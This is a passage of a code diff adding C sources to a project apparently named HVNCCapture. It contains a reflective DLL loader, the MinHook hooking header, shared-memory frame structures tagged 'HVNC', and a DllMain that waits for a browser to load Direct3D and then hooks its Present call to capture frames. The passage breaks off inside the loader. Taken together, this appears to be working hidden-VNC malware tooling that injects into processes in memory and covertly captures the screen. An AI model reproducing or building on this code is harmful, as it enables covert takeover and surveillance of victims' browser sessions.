// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
|
||||
void InstallDXGICapture(void);
|
||||
|
||||
// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
|
||||
void RemoveDXGICapture(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// Shared memory header — must match Go-side definition exactly.
|
||||
#pragma pack(push, 1)
|
||||
typedef struct {
|
||||
UINT32 magic; // 'HVNC' = 0x434E5648
|
||||
UINT32 version; // 1
|
||||
UINT32 width;
|
||||
UINT32 height;
|
||||
UINT32 stride; // bytes per row (width * 4, may be padded)
|
||||
UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
|
||||
UINT64 frameSeq; // monotonically increasing frame counter
|
||||
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
|
||||
UINT32 pid; // process ID that produced this frame
|
||||
UINT32 reserved; // alignment padding
|
||||
} HVNCFrameHeader;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
|
||||
#define HVNC_FRAME_VERSION 1
|
||||
|
||||
// Maximum frame dimensions we support (prevents runaway allocation)
|
||||
#define HVNC_MAX_WIDTH 7680
|
||||
#define HVNC_MAX_HEIGHT 4320
|
||||
|
||||
// Shared memory name format — {pid} is the decimal process ID
|
||||
// e.g. "Local\hvnc_frame_12345"
|
||||
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
|
||||
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
|
||||
|
||||
#endif // _DXGI_CAPTURE_H
|
||||
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||
#error MinHook supports only x86 and x64 systems.
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// MinHook Error Codes.
|
||||
typedef enum MH_STATUS
|
||||
{
|
||||
// Unknown error. Should not be returned.
|
||||
MH_UNKNOWN = -1,
|
||||
|
||||
// Successful.
|
||||
MH_OK = 0,
|
||||
|
||||
// MinHook is already initialized.
|
||||
MH_ERROR_ALREADY_INITIALIZED,
|
||||
|
||||
// MinHook is not initialized yet, or already uninitialized.
|
||||
MH_ERROR_NOT_INITIALIZED,
|
||||
|
||||
// The hook for the specified target function is already created.
|
||||
MH_ERROR_ALREADY_CREATED,
|
||||
|
||||
// The hook for the specified target function is not created yet.
|
||||
MH_ERROR_NOT_CREATED,
|
||||
|
||||
// The hook for the specified target function is already enabled.
|
||||
MH_ERROR_ENABLED,
|
||||
|
||||
// The hook for the specified target function is not enabled yet, or already
|
||||
// disabled.
|
||||
MH_ERROR_DISABLED,
|
||||
|
||||
// The specified pointer is invalid. It points the address of non-allocated
|
||||
// and/or non-executable region.
|
||||
MH_ERROR_NOT_EXECUTABLE,
|
||||
|
||||
// The specified target function cannot be hooked.
|
||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||
|
||||
// Failed to allocate memory.
|
||||
MH_ERROR_MEMORY_ALLOC,
|
||||
|
||||
// Failed to change the memory protection.
|
||||
MH_ERROR_MEMORY_PROTECT,
|
||||
|
||||
// The specified module is not loaded.
|
||||
MH_ERROR_MODULE_NOT_FOUND,
|
||||
|
||||
// The specified function is not found.
|
||||
MH_ERROR_FUNCTION_NOT_FOUND
|
||||
}
|
||||
MH_STATUS;
|
||||
|
||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||
#define MH_ALL_HOOKS NULL
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||
// at the beginning of your program.
|
||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||
|
||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||
// ONCE at the end of your program.
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||
|
||||
// Creates a Hook for the specified target function, in disabled state.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
// ppTarget [out] A pointer to the target function, which will be used
|
||||
// with other functions.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
||||
|
||||
// Removes an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||
|
||||
// Enables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// enabled in one go.
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||
|
||||
// Disables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// disabled in one go.
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to enable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be enabled.
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to disable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be disabled.
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||
|
||||
// Applies all queued changes in one go.
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||
|
||||
// Translates the MH_STATUS to its name as a string.
|
||||
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,61 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — ReflectiveDll.c
|
||||
//
|
||||
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
|
||||
// is mapped into memory. Defers DXGI hook installation to a worker thread
|
||||
// because DllMain runs under the loader lock and cannot safely call
|
||||
// LoadLibrary / D3D11CreateDeviceAndSwapChain.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "DXGICapture.h"
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static HANDLE g_InitThread = NULL;
|
||||
|
||||
// Worker thread: waits for d3d11.dll to appear, then installs hooks.
|
||||
static DWORD WINAPI DeferredInit(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
// Poll for d3d11.dll up to 60 seconds (browser may take a while)
|
||||
for (int i = 0; i < 600; i++) {
|
||||
if (GetModuleHandleA("d3d11.dll") != NULL)
|
||||
break;
|
||||
Sleep(100);
|
||||
}
|
||||
if (GetModuleHandleA("d3d11.dll") == NULL) {
|
||||
// Process never loaded D3D11 — nothing to hook
|
||||
return 0;
|
||||
}
|
||||
// Brief delay for swapchain creation
|
||||
Sleep(500);
|
||||
InstallDXGICapture();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
if (g_InitThread) {
|
||||
WaitForSingleObject(g_InitThread, 5000);
|
||||
CloseHandle(g_InitThread);
|
||||
g_InitThread = NULL;
|
||||
}
|
||||
RemoveDXGICapture();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return bReturnValue;
|
||||
}
|
||||
@@ -0,0 +1,516 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||
LPVOID g_lpReflectiveParameter = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define RDI_NOINLINE __declspec(noinline)
|
||||
#else
|
||||
#define RDI_NOINLINE __attribute__((noinline))
|
||||
#endif
|
||||
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
RDI_NOINLINE ULONG_PTR caller(VOID)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
|
||||
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE*)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE*)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
